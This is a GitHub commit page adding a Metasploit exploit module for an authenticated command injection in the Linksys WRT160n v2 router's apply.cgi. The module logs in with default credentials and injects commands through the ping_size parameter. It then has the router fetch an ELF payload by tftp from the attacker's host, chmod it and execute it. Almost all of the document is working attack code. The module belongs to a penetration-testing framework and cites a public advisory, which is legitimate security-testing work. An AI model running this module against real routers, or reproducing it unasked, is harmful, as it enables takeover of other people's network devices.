Skip to content

Commit 08b2c9d

Browse files
author
jvazquez-r7
committed
Land rapid7#1801, @m-1-k-3's linksys wrt160n exploit
2 parents dfa19cb + 1a904cc commit 08b2c9d

File tree

1 file changed

+218
-0
lines changed

1 file changed

+218
-0
lines changed
Lines changed: 218 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,218 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex/proto/tftp'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpClient
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
17+
include Msf::Exploit::Remote::TFTPServer
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Linksys WRT160nv2 apply.cgi Remote Command Injection',
22+
'Description' => %q{
23+
Some Linksys Routers are vulnerable to an authenticated OS command injection.
24+
Default credentials for the web interface are admin/admin or admin/password. Since
25+
it is a blind os command injection vulnerability, there is no output for the
26+
executed command when using the cmd generic payload. This module was tested on a
27+
Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
28+
controlled system could be used for testing purposes. The exploit uses the tftp
29+
client from the device to download the payload.
30+
},
31+
'Author' =>
32+
[
33+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
34+
'juan vazquez' # minor help with msf module
35+
],
36+
'License' => MSF_LICENSE,
37+
'References' =>
38+
[
39+
[ 'BID', '57887' ],
40+
[ 'EDB', '24478' ],
41+
[ 'OSVDB', '90093' ],
42+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-012' ]
43+
],
44+
'DisclosureDate' => 'Feb 11 2013',
45+
'Privileged' => true,
46+
'Platform' => ['linux','unix'],
47+
'Payload' =>
48+
{
49+
'DisableNops' => true
50+
},
51+
'Targets' =>
52+
[
53+
[ 'CMD',
54+
{
55+
'Arch' => ARCH_CMD,
56+
'Platform' => 'unix'
57+
}
58+
],
59+
[ 'Linux mipsel Payload',
60+
{
61+
'Arch' => ARCH_MIPSLE,
62+
'Platform' => 'linux'
63+
}
64+
],
65+
],
66+
'DefaultTarget' => 1
67+
))
68+
69+
register_options(
70+
[
71+
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
72+
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
73+
OptAddress.new('LHOST', [ true, 'Our localhost IP address from where the victim downloads the MIPS payload' ]),
74+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
75+
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
76+
], self.class)
77+
end
78+
79+
80+
def request(cmd,user,pass,uri)
81+
begin
82+
res = send_request_cgi({
83+
'uri' => uri,
84+
'method' => 'POST',
85+
'authorization' => basic_auth(user,pass),
86+
'vars_post' => {
87+
"submit_button" => "Diagnostics",
88+
"change_action" => "gozila_cgi",
89+
"submit_type" => "start_ping",
90+
"action" => "",
91+
"commit" => "0",
92+
"ping_ip" => "1.1.1.1",
93+
"ping_size" => "&#{cmd}&",
94+
"ping_times" => "5",
95+
"traceroute_ip" => ""
96+
}
97+
})
98+
return res
99+
rescue ::Rex::ConnectionError
100+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
101+
return nil
102+
end
103+
end
104+
105+
def exploit
106+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4))
107+
uri = '/apply.cgi'
108+
user = datastore['USERNAME']
109+
pass = datastore['PASSWORD']
110+
lhost = datastore['LHOST']
111+
112+
#
113+
# testing Login
114+
#
115+
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
116+
begin
117+
res = send_request_cgi({
118+
'uri' => uri,
119+
'method' => 'GET',
120+
'authorization' => basic_auth(user,pass)
121+
})
122+
if res.nil? or res.code == 404
123+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
124+
end
125+
if [200, 301, 302].include?(res.code)
126+
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
127+
else
128+
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
129+
end
130+
rescue ::Rex::ConnectionError
131+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
132+
end
133+
134+
if target.name =~ /CMD/
135+
if not (datastore['CMD'])
136+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
137+
end
138+
cmd = payload.encoded
139+
res = request(cmd,user,pass,uri)
140+
if (!res)
141+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
142+
else
143+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
144+
end
145+
return
146+
end
147+
148+
#thx to Juan for his awesome work on the mipsel elf support
149+
@pl = generate_payload_exe
150+
151+
#
152+
# start our server
153+
#
154+
print_status("#{rhost}:#{rport} - Starting up our TFTP service")
155+
@tftp = Rex::Proto::TFTP::Server.new
156+
@tftp.register_file(downfile,@pl,true)
157+
@tftp.start
158+
159+
#
160+
# download payload
161+
#
162+
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{downfile}")
163+
#this filename is used to store the payload on the device -> we have limited space for the filename!
164+
filename = rand_text_alpha_lower(4)
165+
166+
#not working if we send all command together -> lets take three requests
167+
cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"
168+
res = request(cmd,user,pass,uri)
169+
if (!res)
170+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
171+
end
172+
173+
# wait for payload download
174+
if (datastore['DOWNHOST'])
175+
print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
176+
select(nil, nil, nil, datastore['DELAY'])
177+
else
178+
wait_linux_payload
179+
end
180+
register_file_for_cleanup("/tmp/#{filename}")
181+
182+
#
183+
# chmod
184+
#
185+
cmd = "chmod 777 /tmp/#{filename}"
186+
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
187+
res = request(cmd,user,pass,uri)
188+
if (!res)
189+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
190+
end
191+
192+
#
193+
# execute
194+
#
195+
cmd = "/tmp/#{filename}"
196+
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
197+
res = request(cmd,user,pass,uri)
198+
if (!res)
199+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
200+
end
201+
202+
end
203+
204+
# wait for the data to be sent
205+
def wait_linux_payload
206+
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
207+
208+
waited = 0
209+
while (not @tftp.files.length == 0)
210+
puts @tftp.files.length
211+
select(nil, nil, nil, 1)
212+
waited += 1
213+
if (waited > datastore['DELAY'])
214+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
215+
end
216+
end
217+
end
218+
end

0 commit comments

Comments
 (0)